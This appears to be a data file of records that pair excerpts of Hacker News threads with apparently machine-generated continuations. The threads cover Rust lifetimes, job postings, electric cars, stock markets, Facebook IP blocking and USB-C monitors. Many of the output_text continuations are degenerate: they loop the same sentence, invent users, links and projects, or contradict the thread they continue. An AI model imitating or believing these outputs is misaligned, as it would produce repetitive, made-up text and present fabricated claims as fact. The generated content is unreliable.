in politics.\n\nJudging academically, the original paper and the refuting paper is a healthy\ndebate, but the dynamic of the society and politics ab-use them to attack a\nwhole school of thought at large (the austrian school: less bailout, less\n"} +{"output_text": "doc/master/book/lifetimes.html](http://static.rust-\nlang.org/doc/master/book/lifetimes.html)\n\n~~~\nsteveklabnik\nThat's a great link, thanks!\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see any mention of\n\"rustc\" in the article.\n\nI'm not sure if I'm missing something, but I", "input_text": "notes)\n\n------\nglesica\nI've messed around with Rust a little and I love what I see! The documentation\nis still poor (understandable given how quickly the target is moving) but that\nseems to be changing. This is a really exciting, multi-paradigm language and I\nwish Mozilla all the best in developing it further!\n\n~~~\nsteveklabnik\nIve been making it my mission to improve the docs, especially as the language\nsettles down.\n\nAny suggestions welcome, here or via email.\n\n~~~\nsaosebastiao\n1) I think I've had 4 different people try to explain lifetimes to me and I\nstill don't think I understand.\n\n2) The use of pointer dereferencing in closures is still quite confusing to\nme. For example, from the tutorial:\n\n \n \n let square = |x: int| -> uint { (x * x) as uint };\n \n\nno pointer dereferencing, yet:\n\n \n \n [1, 2, 3].map(|x| if *x > max { max = *x });\n \n\nuses pointer dereferencing. I can't figure out any rhyme or reason behind it.\n\n3) How do you create traits that can be automatically derived? How do you\nimplement a default method?\n\n4) How do you create and use macros, and in what situations are they the\nappropriate solution over other forms? (I'm used to using macros in lispy\nlanguages, but using them as pervasively in other languages seems to be a form\nof code smell).\n\n~~~\npitterpatter\nMaybe this will be useful to understanding lifetimes: [http://static.rust-\nlang.org/"} +{"output_text": " me think that\n\"goto\" is a good tool for some cases, but not for others.\n\nI've been programming for about 10 years now, and I've used \"goto\" in a few\nplaces. I've also used it in a few places where it was not needed.\n\nI've used \"goto\" in a few places where it was not needed.\n\nI've used \"goto\" in a few places where it was needed.\n\nI've used", "input_text": " those people with\ntechnically fulfilling jobs have little to worry about. The rest of us\nprobably should polish those resumes because the days of six figures to do\nsimple dev work are coming to an end.\n\n------\nlordCarbonFiber\nWith the caveat that I don't have any person experience with the situation in\nCanada, I get immediately suspicious of any article that talks to a \"talent\ngap\". At least in the states, it's not hard to find a developer. What is hard\nhowever, is finding a developer that wants to code your uninspired CRUD app at\nbelow market rates and I that's the issue these bootcamps tend to address.\n\n~~~\nchaghan\nin the land of the blind, the one-eyed man is king How much time can a man\ninvest in learning a really complex stuff so he can work on compilers,\ncreating programming languages or implementing extraordinary search\nalgorithms. And who will pay for that?\n\nThat is the downside of capitalism.\n\nJust take a look at what happened to Oracle when the most brilliant engineers\nleft after they acquired Sun Microsystems. They literally could not find\nanyone for ages to replace these people just because there is not enough\ntalent out there.\n\nAnd that's Oracle. Who else is there that can afford to pay these people?\nGoogle? Maybe. Netflix? aye IBM? likely And maybe few dozens of other\ncorporations.\n\nBut these people do not want to work for corporations instead they need to be\ntreated as special unicorns.\n\n \nGOTO considered helpful - jmount\nhttp://erehweb.wordpress.com/2010/06/24/goto-considered-helpful/\n======\nCodeMage\nI can identify with this article. My own experience makes"} +{"output_text": " the main reason for the failure of the EV1, but it's a good\noverview of the history of EV cars in California.\n\n~~~\ndsfyu404ed\nI watched it. It's a good overview of the history of EV cars in California.\n\nIt's a good overview of the history of EV cars in California.\n\nIt's a good overview of the history of EV cars in California.\n\nIt's a good overview of the history of EV cars", "input_text": " the halo and knock-on effects: as the market adapts to service\nnon-petrol consumers (e.g. fast EV chargers, battery-swap stations, etc) then\nindustries will adapt to take advantage of them too - it wouldn't surprise me\nthis meant the introduction of an EV John Deere tractor powered the same hot-\nswappable EV battery pack that might power a hypothetical Ford truck.\n\n~~~\ndjrogers\nI think the problem is that you're eliminating the cleanest and most regulated\nsegment of the market, so even if it's 40% of the FF used, it's a much smaller\nfraction of pollution produced.\n\n~~~\nmikeyouse\nWhich is mostly irrelevant if carbon is your concern since CO2 emissions are\nfixed per unit of fuel.\n\n~~~\nDaiPlusPlus\n> CO2 emissions are fixed per unit of fuel.\n\nIs this true though? Does it matter on the grade of fuel, or petrol vs diesel?\nI think I read that leaded fuel emits less CO2 than unleaded fuel, but I'd\ndefinitely choose more CO2 than lead in the air, tyvm.\n\n------\ndsfyu404ed\nIf they have the desire to make this a priority and are willing to sink the\nmoney to pull it off then power to them.\n\nIIRC CA had a similar target about electric cars for 2000ish and we all know\nhow that worked out.\n\nIt's easy to dream big. That dirty thing called reality likes to get in the\nway. Being an early adopter is expensive.\n\n~~~\nDaiPlusPlus\nI recommend watching \"Who Killed the Electric Car?\" \\- it explains most of the\nhistory of EV cars in California. I disagree with its conclusion that battery\ntechnology was"} +{"output_text": " > Server\n\nThe virtual abstraction is:\n\nDatacenter > VM > VM Instance > VM Instance Instance\n\nThe container abstraction is:\n\nDatacenter > Container > Container Instance > Container Instance Instance\n\nThe hypervisor abstraction is:\n\nDatacenter > Hypervisor > Hypervisor Instance > Hypervisor Instance Instance\n\nI think we are going to see a new class of hypervisor abstraction, which\nenables a", "input_text": "\nNot quite - rkt will bring up a new VM for each container, this approach only\nbrings up a VM per pod (ie, a set of functionally related containers).\n\n~~~\nphilips\nThis isn't correct. rkt does a VM per pod.\n\n------\nandrewstuart2\nThis really does not appeal to me at all. The major point of docker containers\nis not the image format, it's that the kernel can allocate resources more\nintelligently. VM images work just fine for \"shippable images.\"\n\nWhat I'd rather see is an allocation layer for physical resources that just\ncordons off the whole machine (physical or virtual) by tenant as soon as\nprevious tenant resources have been fully consumed, then reclaims hosts after\nusage subsides. So as a provider I still only have one cluster to manage, but\nas a consumer I still don't worry about _another_ layer of abstraction slowing\nthings down or pre-allocating resources.\n\n~~~\nchatmasta\nI'm interested in the economics of (docker) containers vs. virtual machines.\nContainers can run within a VM, but a VM can only run within a hypervisor.\n\nCurrently, if you want to resell computing resources, you need to rent or buy\na dedicated server, and run a hypervisor on it.\n\nContainers enable a new class of reselling computing resources. Because you\ncan run a container within a VM, you can resell computing capacity on a VM.\n\nI think we are going to see another abstraction on top of \"the cloud,\" due to\nthis additional layer of reselling (new russian doll on the inside, new doll\non the outside).\n\nThe physical abstraction is:\n\nDatacenter > Floor Space > Server Rack"} +{"output_text": "\n\n------\njames_s_tayler\nI'm not sure I understand the point of this.\n\nI can see how it's a fun way to learn about the mathematics of juggling, but\nit's not really a useful application of the mathematics.\n\n~~~\njames_s_tayler\nI guess I'm just not seeing the point of this.\n\n~~~\njames_s_tayler\nI guess I'm just", "input_text": "siteswap.html](http://www.twjc.co.uk/siteswap.html)\n\nMuch more in-depth treatment here including synchronous and multiplex\npatterns, ladder and causal diagrams and a bunch of proofs relating to the\nnotation:\n\n[https://www.jugglingedge.com/pdf/BenBeeversGuidetoJugglingPa...](https://www.jugglingedge.com/pdf/BenBeeversGuidetoJugglingPatterns.pdf)\n\nbut you can always go here and try a few patterns such as 3, 441, 531, 504,\n(4,4) or in windmill/Mill's Mess mode, 423\n\n[http://www.gunswap.co/](http://www.gunswap.co/)\n\n------\nqop\nCan more objects be juggled on the moon then on earth?\n\n~~~\nrtkwe\nYes, check the definitions of the author's theoretical max ball calculation on\nthe first page gravitational acceleration determines the 'hang time' of a ball\nfor a given value of hand acceleration. So holding everything else the same\nthe same person with the same ability to throw 9 balls at g=-9.8m/s^2 would\nthrow the balls higher on the moon giving them more room in their pattern for\nmore balls.\n\n------\nErikAugust\nI came here looking for a paper about OO and having too much state. But this\nwas interesting.\n\n------\ntambourine_man\nI'm fascinated by these seemingly useless yet remarkably mind grasping\nproblems.\n\nI remember reading that Feynman had a profound insight while calculating the\nwobbling of plates being thrown on a ship.\n\nYou never know where a fertile mind can be taken by those aimless thoughts."} +{"output_text": ". They are designed for the masses and not for the elite. \\- If you are\nnot a \"natural\" at programming, don't worry about it. You can always learn\nprogramming. \\- If you are not a \"natural\" at math, don't worry about it. You\ncan always learn math. \\- If you are not a \"natural\" at physics, don't worry\nabout it. You can always learn physics. \\- If you are not a \"natural\" at\n", "input_text": " in the afternoons.\n\nModifying your routine takes a while, do it in baby steps. Remove all\ntemptations that might get in the way to your goals until you achieve them.\nBut keep a good chunk of the day to clean up your head.\n\nOf course, YMMV.\n\n~~~\nalecco\nIt might help to go study to a special quiet and motivational place, a library\nor your aunt's house.\n\n------\nsillysaurus2\nStep back and ask yourself: What are my assumptions? Why do I believe these\nassumptions to be true? What if they aren't true?\n\nYou have at least 50 years ahead of you. That's a long time. But the next 5\nyears will profoundly shape your next 50.\n\nIf that feels like too much pressure, then simply don't worry about it. It's\nmore important to relax than to optimize your life if you're the type of\nperson who doesn't react well to a lot of pressure.\n\n------\ngqvijay\nWow, you sound like me 20 years ago. And I am quiet surprised at \"that's life,\nshape up\" responses.\n\nKnowing what I know now, I wish someone would've told me: \\- Try to get into\ntop schools like Stanford, Harvard, etc. \\- If you don't have the financial\nmeans or the grades or whatever, don't get discouraged one bit! \\- Since you\nenjoy \"programming or researching\", stop stressing over colleges. In my humble\nopinion, most colleges are overrated. They are designed for drones and will\nsuck the passion out of what you are majoring in. (note: may not be true for\nall) \\- In my opinion, typical educational institutions in our country is\nbroken"} +{"output_text": ".\n\n~~~\njoshstrange\nI've been using [https://www.facebook.com/help/contact/1605](https://www.facebook.com/help/contact/1605)\nfor a while now. It's a bit of a pain to use but it works.\n\n------\njoshstrange\nI've been using [https://www.facebook.com/help/contact/1605](https://www.facebook.com", "input_text": " HackerNews create pull requests to make the list more up to date.\nI hope they get committed.\n\n[https://github.com/jmdugan/blocklists/pulls](https://github.com/jmdugan/blocklists/pulls)\n\n------\nryanlol\nThis is a terrible approach. Facebook can rotate many of these names whenever\nthey feel like.\n\n------\ncyberferret\nInteresting to see several domain names/servers with'mqtt' referenced.\nWondering if Facebook interacts with IoT devices routinely, or perhaps they\nuse MQTT for Messenger message transfers etc.?\n\n------\nHenryBemis\nI want to share my favorite HOSTS file provider [1] which includes FB\naddresses.\n\n[1]: [http://someonewhocares.org/hosts/](http://someonewhocares.org/hosts/)\n\n~~~\nmito88\ngoatse!\n\n:)\n\n------\nDavideNL\non macOS i use a bash script to get all Facebook ip addresses:\n\n \n \n whois -h whois.radb.net '!gAS32934' | tr'' '\\n' | awk '!/[[:alpha:]]/' > \"/etc/pf.anchors/usr.home.sub/facebook.list\"\n \n\nand then use a pfctl anchor to block them all\n\n \n \n table persist file \"/etc/pf.anchors/usr.home.sub/facebook.list\"\n block drop quick to \n\n------\namelius\nI need something like this that I can install on friend and family's\nphones/iPads/computers whenever they ask me to fix something for them"} +{"output_text": " a\nscholarship. I had to pay for everything myself.\n\nI was working on a project called \"The World's First Open Source Robot\"\n([http://www.theworldsfirstopenrobot.com/](http://www.theworldsfirstopenrobot.com/))\nwhich was a robot that could do anything a human could do. I was working on\nthe software and hardware.\n\nI was working on it for about a year and", "input_text": "PCA))\n\nSoftware: reverie/CMS. Currently at the end of a rewrite, but I'm fairly\npleased with how far it's gotten. Writing a cache manager is a serious puzzle\nthough!\n([https://github.com/emil0r/reverie](https://github.com/emil0r/reverie))\n\nFamily: My wife. She's amazing :)\n\n------\nsonabinu\nMaking sure my family (better half and three kids) got to do everything they\nnormally did while I was doing my MS program. Big shift from Finance to\nEngineering and the learning on all fronts constantly, both family power and\ncomputing power has been amazing!\n\n------\nsuttree\nI taught myself to code by post/mail.\n\nI didn't make the smartest choices when I was young(er), but I turned that\naround, found a career, ended up co-founding a company and making a cool game\n([http://en.wikipedia.org/wiki/The_Nethernet](http://en.wikipedia.org/wiki/The_Nethernet))\nthen started a new company to help people figure out wtf they can do with\ntheir lives ([https://www.somewhere.com](https://www.somewhere.com)).\n\nSaying that though, the stupid robots I built, the side-projects and the\narticles in Hack Circus mean just as much.\n\nOf course, pride comes before a fall so, yeah, cheers.... ;)\n\n------\nkrishna2\nI got in to CMU for my Masters. Mustered up the guts to quit my job and do it\nfull time. Because I wasn't a citizen (or PR) back then, I didn't get"} +{"output_text": "site\n\niCracked is a mobile app that helps people find the best deals on the things\nthey buy. We're a small team of engineers and designers who are passionate\nabout making great products. We're looking for engineers who are interested in\nbuilding great products and have a passion for mobile.\n\nWe're looking for:\n\n* Senior iOS Engineer (Objective-C)\n\n* Senior Android Engineer (Java)\n\n* Senior Backend Engineer (Java)", "input_text": "com/careers/](http://www.eventmobi.com/careers/)\n\n------\nindiegamergirl\ndeepstreamHub, Berlin - [https://deepstream.io/](https://deepstream.io/)\n\nWe are looking for a skilled and motivated Junior Fullstack Developer to work\non both the deepstream.io open source server and our upcoming realtime data\nplatform deepstreamHub.com (on-site/fulltime in Berlin).\n\nThe role: \\- Contribute to key architectural decisions \\- Developing stunning\nrealtime frontends and user interfaces \\- Creating the backend components that\npower our architecture \\- Contribute to deepstream.io open source and engage\nwith our growing community \\- Extend the deepstream ecosystem with new\nintegrations and frameworks \\- Develop a platform that scales efficiently \\-\nUse a wide array of realtime technologies and cloud infrastructures\n\nFind out more - [https://deepstreamhub.com/careers/junior-\ndeveloper/](https://deepstreamhub.com/careers/junior-developer/)\n\nCheers!\n\n~~~\ntictactoey\nYou guys provide visa service? please help an american escape this Trump\nnation.\n\n------\njaekwon\nAll in Bits, Inc; aka Tendermint;\n\nSee [http://tendermint.com/jobs](http://tendermint.com/jobs) and Cosmos the\npublic blockchain network [http://cosmos.network](http://cosmos.network)\n\nWe're looking for:\n\n* Cryptocurrency researchers * Cryptographers * Golang programmers * Devops/Sysops\n\n------\npault\niCracked (YC W12) | Redwood City, CA | Full-time | On"} +{"output_text": " in the late 90s, and\nhave been declining ever since.\n\n[1] [https://www.marketwatch.com/story/p-e-ratio-a-measure-of-\nthe...](https://www.marketwatch.com/story/p-e-ratio-a-measure-of-the-\nhealth-of-the-stock-market-2019-03-19)\n\n~~~\ncamillomiller\nI'm not", "input_text": " trickle up\neconomics, where the multi-billion dollar corporations and rich alike will\nbegin to feel the pinch of poverty on a massive scale trickle up.\n\nUnfortunately while taxpayers got their $1,200 Checks they were robbed blind\nof over $4T to the FED which went directly to stabilize the publicly traded\ncompanies. If it weren\u2019t for that, we would have already seen bankruptcies on\na massive scale from publicly traded companies...instead the markets are back\nwhere the were pre-covid. But at some point they will have to admit there\ncan\u2019t be a recovery when there are no consumers left.\n\n~~~\ncamillomiller\nI'm frankly flabbergasted by what's going on with the markets. If anyone\nthought stocks were still somehow a projection of reality and an indicator of\nexpectations on the future of a company's performance, well, that's clearly\nnot the case anymore. I am really scared that a real devastating collapse is\nstill looming, but I frankly have no clue of when that could happen and what\ncould actually trigger it.\n\n~~~\njfengel\nIt is baffling, and I've been expecting a crash for a decade... which is the\nproblem. The market can remain irrational longer than you can remain solvent.\n\nRight now it's kind of persistently slightly irrational. A quick-and-dirty\nmeasure of its sanity is the P/E ratio: how much money are the publicly listed\ncompanies actually making? Right now, the number is around 22[1], meaning a\ndollar invested in the market takes 22 years to pay itself back purely in\nterms of corporate profits.\n\nThat's a return of about 3%. Numbers over 20 are generally considered a sign\nthat the market is overheated. They peaked at around 45"} +{"output_text": "wiki/Andr\u00e9_Popp](http://en.wikipedia.org/wiki/Andr\u00e9_Popp)\n\n~~~\njameshart\nI think the Beatles were the first to do it on purpose, but I think the\ninvention of backwards recording was a lot earlier.\n\n------\njameshart\nI think the Beatles were the first to do it on purpose, but I think the\ninvention of backwards recording was a lot earlier.\n\n------\n", "input_text": " it was a brilliant course, and\nit helped that our school had the funds to build a halfway decent digital\nrecording studio.\n\n~~~\ntehwalrus\nI was lucky enough to attend Hurtwood House - I really wanted to do proper\nMusic A-Level, but they didn't offer it, only music tech.\n\nIn retrospect, I enjoyed it far more than I would have pure music, because I\nwas right in the middle of my guitars-are-awesome phase - a studio was just an\nelaborate set of effects pedals to me.\n\nHurtwood, anyway, had a ridiculously awesome setup - they spend much of the\n(substantial) school fees on Media, Theatre and music tech kit, so full\ndigital edit suites, a huge theatre with proper cabling and sound systems,\nunderground recording studios with proper soundproofing and _huge_ mixers for\nA level projects (In my day, a 24-channel soundcraft monster, plus numerous\nphysical compressors, EQs etc - I remember a particularly expensive white\nvalve-driven vocal preamp! Now I believe their kit is just a digital desk +\nLogic Pro.)\n\nWhen I left for Cambridge, I didn't make it onto their \"wall of fame\" \\-\nbecause Cambridge isn't an Equity-approved drama school. Seriously.\n\n------\nS_A_P\nI think that its a case where a lot of people had the same idea at around the\nsame time. As recording technology advanced in the 1950s, people realized\nthere was some creativity to be found there.\n\nMany people attribute backwards recording to the Beatles and George Martin,\nbut it had been done nearly a decade earlier (on purpose even) by Andr\u00e9 Popp\n[http://en.wikipedia.org/"} +{"output_text": "platform.\n\nWe are a small team of developers and designers, working on a new product\nwhich is currently in development. We are looking for someone who is\npassionate about building great products and who is able to work independently\nand as part of a team.\n\nWe are looking for someone who is able to work with a wide range of technologies\nand who is able to quickly pick up new technologies.\n\nWe are looking for someone who is able to work with a wide", "input_text": "D in Computer Science, Information or equivalent\npractical experience. \\+ 6+ years developing full-stack web applications using\ntools such as Nginx, NodeJS, Express, React and React Native. \\+ Experience\nworking with hardware engineers on Internet of Things (IoT) projects. \\+ Low-\nlevel experience working with scalable information and system architectures.\n(+1M users or devices) \\+ Experience using testing suites and Continuous\nIntegration (CI) in development and deployment. \\+ Good judgment in UX/UI and\nusability. \\+ Mastery of all client-side languages, libraries and practices\n(i.e. can build any interface with ease) \\+ Familiarity with agile development\npractices (e.g. scrums, etc.) \\+ Mastery of version control (such as Git) in\nthe development process.\n\nHOW TO APPLY Post your resume and a cover letter briefly describing why you\u2019re\ninterested in growing with Smart Yields to lizzy@smartyields.com\n\n------\nx110dc\nThe Texas Tribune | Software Engineer | Austin, Tx | ONSITE\n\nWe're seeking a Python developer (Django experience is a plus!)\n\nPlease see here for details:\n\n[https://www.texastribune.org/jobs/software-\nengineer/](https://www.texastribune.org/jobs/software-engineer/)\n\nApplying simply involves emailing your cover letter and resume to tech-\njobs@texastribune.org. Also email there with any questions.\n\n------\ntroika\nBERLIN ONSITE FULLTIME\n\nWe are looking for a skilled and motivated Junior Fullstack Developer to work\non both the deepstream.io open source server and our upcoming realtime data\n"} +{"output_text": " talented people leave.\n\nThe only way to fix this is to get the culture back to the way it was, and\nthat means a new CEO.\n\n~~~\njoezydeco\n_Microsoft does not seem to get the web at a fundamental level, it doesn't\nseem to have the capacity to release software at a pace of yearly, monthly, or\ncontinuously._\n\nI think you're right about the fundamental issue.\n\nBut I think the", "input_text": " a\ngood number of smart decisions and putting out a solid anchor product that\n(re)cements their position in the industry and reinvigorates the brand in\ndoing so. Windows 95 and Windows 7 are perfect examples. IE4 (yes really),\nBing, and Windows Phone 7 are also good examples. One of the big problems with\nMicrosoft is that its organization and its culture are extremely tied to the\ntraditional 3-ish year ship cycle. A hugely successful diving catch every\nother ship cycle or so is rapidly becoming less and less feasible as a means\nto hang on to or acquire a market. Microsoft does not seem to get the web at a\nfundamental level, it doesn't seem to have the capacity to release software at\na pace of yearly, monthly, or continuously.\n\nAnd that will ultimately be the undoing of Bing and the Windows Phone. The\nonly way MS knows how to crank out releases faster is the deathmarch, and that\nis a certain route to doom.\n\nWorse yet, since Gates left MS has no real technical or managerial leadership,\nit's bureaucracy all the way up and down. This has been affecting the culture\nat Microsoft little by little, also partly coupled to the stock price having\nplateaued. More and more talented devs are finding that MS lacks the\nexcitement and the reward of cutting edge development, so they are moving\nelsewhere. Also, without that talent around fewer good projects are pushed\nforward, fewer projects succeed, people become less satisfied with their jobs,\netc. (think about the movie \"It's a Wonderful Life\" only translate the bad\nstuff, on a corporate level, to hundreds and then thousands of George Bailey's\ngoing away). This makes the environment that much less rewarding for everyone\nelse who remains, so yet more"} +{"output_text": "amazon.com/Adapter-MOKiN-Macbook-Chromebook-\nGold/dp/B01N4Z9X1S)\n\n2 usb c to usb a adapters - [https://www.amazon.com/Adapter-MOKiN-Macbook-\nChromebook-Gold...](https://www.amazon.com/Adapter-MOKiN-Macbook-Chromebook-\nGold/dp/B01N4Z9", "input_text": "I bought this screen (not an affiliate link) https://www.amazon.com/gp/product/B00YD3DBOC/

Step 2:\nThis cable https://www.amazon.com/gp/product/B074V5MMCH/

Step 3: I opened the menu on the monitor and changed the display port connection from Display port 1.1 to 1.2

Step 4: I connected my 2 USB-C connection on opposing sides of the MacBook (no clue why this matters, but it seems to make a difference). You'll also want to make sure you plug the charging USB-C cable directly into the MacBook. Some hubs slow down charging.

Step 5: I clicked to display preferences and clicked "scaled" while holding down the option key (adding this in case you're new to macs). My personal preference is 3200x1800

I was very happy when I finally go it to work smoothly. It's a little crazy how complicated this is though.\n======\nmegasquid\nHello. I honestly haven't experienced any problems with USB c and my macbook\npro. I do have some different adapters than you do though. Here is what I'm\nusing. Did not require any custom display settings. Just plug and play.\n\n2 HDMI to usb c adapters - [https://www.amazon.com/Adapter-MOKiN-Macbook-\nChromebook-Gold...](https://www."} +{"output_text": " regard to your situation, but I'll\noffer this:\n\nI've been in a similar situation. I was a pretty average developer, but I\nmanaged to get a job at a company that was pretty average too.\n\nI was hired as a junior developer, and I was given a project to work on. I\nwasn't given any guidance, and I didn't have any idea what the project was\nabout. I was given a few weeks to get up to speed", "input_text": " sound like paranoia (and some part of it probably is). I've\nthought about talking to perhaps HR or recruiting to see if I can move to\nanother department. However, I feel as long as this individual is at the\ncompany, it will be difficult. This person is unpredictable. One day he is\nhappy. Another day, he is totally on edge and ready to shout. He might decide\nthat my lack of \"loyalty\" to him as a personal offence. He is close with upper\nmanagement (CEO, etc.) and he can easily influence them and potentially make\nmy life miserable.\n\nYou know its so funny. I love the company itself and the product. They truly\nhave some innovative technology (as cliche as that sounds).Though, I think the\nlesson I've learned from all this is that I need to look at my manager(s) as\nMUCH as (or more than) I look at the product or my salary.\n\n~~~\nspinlock\nThat sucks. Oh well, looks like you'll need to go outside of the company. Just\nremember: don't badmouth your current company when you apply for jobs; just\nsay that your ready for a new challenge. No matter how unbearable your\nposition is, it never comes off well to gripe about it to the next person that\nyou're asking for a job.\n\n------\nAndrewUnmuted\nFor me, the _big one_ is whether or not the employer offers to give you a tour\nof the workplace. If this is not offered up as a default, request it. If there\nis any refusal whatsoever, run away and don't look back.\n\n------\nYeGoblynQueenne\n>> I am a pretty average developer\n\nI don't have much advice to offer with"} +{"output_text": " and\nthen you can work with the CRAPPY boss.\n\n9.)the CRAPPY boss is part of the overall package. define your framework and\nthen you can work with the CRAPPY boss.\n\n10.)the CRAPPY boss is part of the overall package. define your framework and\nthen you can work with the CRAPPY boss.\n\n11.)the CRAPPY boss is part of the overall package. define your framework and\nthen you", "input_text": ". i will say that if things seem\ntoxic, they aren't going to get better (in my experience), and most likely\nwill get worse. so quit asap.\n\n------\noldemployee66\nbest of luck\n\n------\noldemployee66\n1.)go with wisdom, NOT with truism rules -If respect isn't reciprocal, run. be\nthankful you have a job. Some bosses are psychotic a--holes AND power alleged\nSADISTS. 2.)read the book\n[https://www.bostonglobe.com/business/2016/03/22/hubspot-\nbook...](https://www.bostonglobe.com/business/2016/03/22/hubspot-book-\nunflattering-portrait-old-school-corporate-politics-new-tech-\neconomy/FVh4ayJZ5LMLdjoGXd9oIN/story.html)\n\n3.)always ask about possibilities of TRANSFERS and other departments, even\ncontractors.\n\n4.)give email address with I LOVE TO GET ANONYMOUS MAIL.\n\n5.)sometimes you have to visit the bars and party places where the employees\nhang out for some 'human tips' \\-- know what i mean\n\n6.)over age 54 or was it 49? first career out of a few was electric - gas\ngrid. FIRST YEAR IN FIELD, about three persons GOT KILLED or?? and what waz\nintereesting was they were not necessarily accident prone.\n\n7.)look up the govbuerment stats. electric - like after the hurricane out is\nup there next to coal mining.\n\n8.)the CRAPPY boss is part of the overall package. define your framework"} +{"output_text": " 1 pound of CO2 is the same as emitting 1 pound of CO2 from a\ndiesel/gasoline car. That's not true.\n\nThe real solution is to make the car run on electricity. That's what the\nelectric car is for.\n\n~~~\nars\n> The emissions standards are particularly inefficient.\n\nThey are not. They are the same as the US standards.\n\n> They say things like emitting 1 pound of CO2 is the same as", "input_text": "\n\nI do wonder how Revenue will handle this, not only some people might find\nthemselves with a more polluting car but a larger and unexpected tax bill will\nimpact peoples pockets directly.\n\n~~~\norgansnyder\nThe CO2 amount should remain the same\u2014the issue is with other pollutants that\ncause smog. The only reason that CO2 might go up is if the fix involves\nincreasing fuel consumption. However, you might not even need the fix in\nIreland, as many European countries (as I understand it) have laxer smog\nrequirements to begin with.\n\nRegardless, though, I wouldn't buy a VW product right now, wherever I lived.\n\n~~~\ntadfisher\nEuro standards are backwards; they have stricter CO2 emissions regulations,\nbut are lax on NOx. I'd imagine they don't have a lot of smog events like what\nhappened in California during the 60s and 70s.\n\n~~~\norgansnyder\nI wouldn't call them \"backwards\". They're opposite of the US, but that's\nbecause they're optimizing for reducing a different pollutant. Smog is\ncertainly undesirable (as an asthmatic, I know that from experience), but CO2\nmay well have more dire long-term costs.\n\nOf course, the optimal situation would be to tightly regulate both pollutants.\n\n~~~\nars\nI would definitely call them backwards.\n\nThe amount of extra CO2 from a car running a better NoX system is utterly\nirrelevant compared to how much CO2 is emitted.\n\nTrading CO2 for NoX is completely indefensible. NoX is really really bad for\nthe environment.\n\n------\nWalterBright\nThe emissions standards are particularly inefficient. They say things like\nemitting"} +{"output_text": "KTOR software\ninto the future.\n\nSystem Administrators to keep our servers running smoothly and our data\nsecure.\n\nIf you're interested in working with us, please apply at\n[https://www.native-instruments.com/en/jobs/](https://www.native-\ninstruments.com/en/jobs/)\n\n------\njames-a\nCodementor | Software Engineers | New York, NY | Full-time | Onsite", "input_text": " Operators, Business Development and Sales, which\nI'm happy to answer questions about or refer you to the right person.\n[https://spire.com/careers/openings/](https://spire.com/careers/openings/).\n\n~~~\ntyrankh\nAre your software engineer positions available in Boulder, or only SF/Glasgow?\n\n~~~\nmirashii\nWe do have some positions available in Boulder as well. In general, we'll\nprefer to place individuals with the teams that they'll interfacing most with.\n\n------\nni-recruit\nNative Instruments GmbH | Frontend Software Engineer, DevOps Engineer, C++\nDeveloper, System Administrator, Scrum Master, Agile Coach | Berlin, Germany |\nONSITE | Full-time\n\nNative Instruments is a leading manufacturer of software and hardware for\ncomputer-based audio production and DJing. Our mission is to develop\ninnovative, fully-integrated solutions for all musical styles and professions.\nWe push technological boundaries and open up new creative horizons for\nprofessionals and amateurs alike.\n\nWe're looking for people with both the left and right brain fully engaged \u2013\nexceptional individuals with strong analytical minds and a passion for music\nand technology.\n\nAgile Coaches and Scrum Masters to actively promote agile thinking in our\ncompany, and to support our teams to develop their skills and reach their\ngoals.\n\nFrontend Engineers to build & maintain highly usable, state-of the-art\nwebsites and web applications.\n\nDevOps Engineers to build & maintain highly reliable and scalable API\u2019s to be\nconsumed by our music production and DJing applications.\n\nC++ Developers to help us evolve our MASCHINE, KOMPLETE, and TRA"} +{"output_text": " be answered by someone\nwho can solve your problem. I'm not going to do that for you.\")\n\n~~~\npatio11\nI'm not saying you should compete on price. I'm saying you should compete on\nprice _in the context of your industry_.\n\nIf you're a software company, you should compete on price in the context of\nyour industry. If you're a software company, you should compete on price in\nthe context of your industry _to the", "input_text": "' marketing segments can be a good strategy.\n\n------\nantaviana\n1\\. Open the hosts file on your computer 2\\. Add the website of your\ncompetitor with some random IP address 3\\. Go back to work with your product\nand talk to your potential customers\n\n~~~\nxoail\nlol. well said.\n\n------\npatio11\nCan you walk me through the thought process of why a competitor existing means\nyou abandon this idea? Are they so central to your industry that they can\nimmediately lock up 100% of the market? Are they going to be cross-selling\nfrom something which is more widely distributed in your niche than say\nQuickbooks or Microsoft Office?\n\nDon't compete on price. Enterprise customers care about it a lot less than you\ndo, and enterprise customers are not motivated to purchase by \"We saved a few\nthousand bucks and I lost my job because the deployment blew up in our face.\"\nI'd be far more worried about that sales objection than the existence of a\ncompetitor.\n\nYou can probably compete on many other axes. One of my competitors has 400\nemployees, at least 20 of whom answer phones with customer questions. I have 0\nemployees, intentionally don't have a routable phone number, and self-assess\nat mediocre in terms of responsiveness to email. And I win sales dogfights\nwith that company, occasionally, because prospects believe I'll offer them\nbetter CS. (The winning argument, which I've stolen fragrantly from Jason\nCohen, is \"You can call them up at any hour, day or night, and instantly speak\nto someone who can't solve your problem. Or you can drop me an email, and it\nmay take me two days to get to it, but your email will"} +{"output_text": ", but\nI don't remember what it was.\n\n~~~\nJoshGlazebrook\nI think it was a zip file of your wall and private messages.\n\n------\njedberg\nI'm surprised they didn't just use the same email address as Facebook.\n\n~~~\njedberg\nI guess they did, but I don't think they ever sent an email to the old email\naddress.\n\n------\njedberg\nI wonder if", "input_text": "\nsome god forsaken part of the forum nobody used), then backed off that stuff\nfor fear of being banned and made little \"utilities\" like expanding text\nboxes, and pretty stylesheets of course. There was just nooooobody paying\nattention, I can absolutely vouch for that.\n\n~~~\nchrischen\nI remember being able to get higher rates as a web developer/designer in high\nschool by being able to make special myspace pages that covered up the UI for\nbusinesses.\n\n~~~\ndawnerd\nSome of my first gigs/job were setting up new myspace layouts for indie bands.\nCompany I worked for had a custom player built and everything. I remember\nfinding some awesome hacks to make stuff work when myspace rolled out their\nown player and tried to force it on everyone.\n\n------\nfranciscop\nIn [https://help.myspace.com/hc/en-\nus/articles/201989404-Forgot-...](https://help.myspace.com/hc/en-\nus/articles/201989404-Forgot-Email-) they even spell \"myspace.com\" wrong...\n\n~~~\nsushid\nWhere? If you're referring to the capitalization, I think it's always been\n\"Myspace.\"\n\n~~~\nfranciscop\nIt might have been removed/changed, but there was a wrong link.\n\n------\nrosariotech\nDoes MySpace still exists?\n\n~~~\nJoshGlazebrook\nDon't expect there to be anything there from back when you actually used it.\nThey deleted all of your wall and private messages years ago.\n\n~~~\n13of40\nI have mine in a zip file somewhere... They had an option to download it"} +{"output_text": "-K%C3%B6rner/dp/0815953456)\n\nthat the Nazis were very good at recruiting and training scientists.\n\n~~~\njbooth\nI'm not sure what you're trying to say.\n\nThe article is about the Chinese government's 